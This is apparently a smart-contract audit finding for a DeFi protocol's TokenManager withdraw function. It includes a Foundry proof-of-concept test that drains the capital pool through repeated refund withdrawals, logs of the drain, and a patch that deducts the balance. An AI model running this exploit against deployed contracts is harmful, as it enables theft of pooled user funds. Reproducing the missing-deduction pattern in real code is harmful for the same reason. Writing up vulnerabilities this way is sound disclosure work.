Summary
A lack of internal balance removal from a user when executing the withdraw function leads to the user being able to repeatedly call the withdraw function until the capital pool is either fully drained or the remaining capital pool balance is lower than the amount to withdraw.
Vulnerability Details
A user lists and immediatly after closes an offer to get a refund balance, the user then can then call the withdraw function multiple times withdrawing the refund amount each time it's called.\
function test_multiple_withdraw() public {
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
console2.log('Capital Pool before: ', mockUSDCToken.balanceOf(address(capitalPool)));
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
console2.log('Capital Pool aftter one withdraw: ', mockUSDCToken.balanceOf(address(capitalPool)));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
console2.log('Capital Pool aftter two more withdraws: ', mockUSDCToken.balanceOf(address(capitalPool)));
vm.stopPrank();
Logs:
Capital Pool before: 24375000000000000
Capital Pool aftter one withdraw: 17175000000000000
Capital Pool aftter two more withdraws: 2775000000000000
*/
}
Impact
Capital pool funds stolen.
Tools Used
Manual review + foundry test
Recommendations
Remove the claimable amount from the user balance after it's sent to the user in the TokenManager::withdraw function.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
revert();
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount); // @audit Q why is userTokenBalanceMap not updated? -> TODO check if I can drain other usesrs funds
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] -= claimAbleAmount;
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
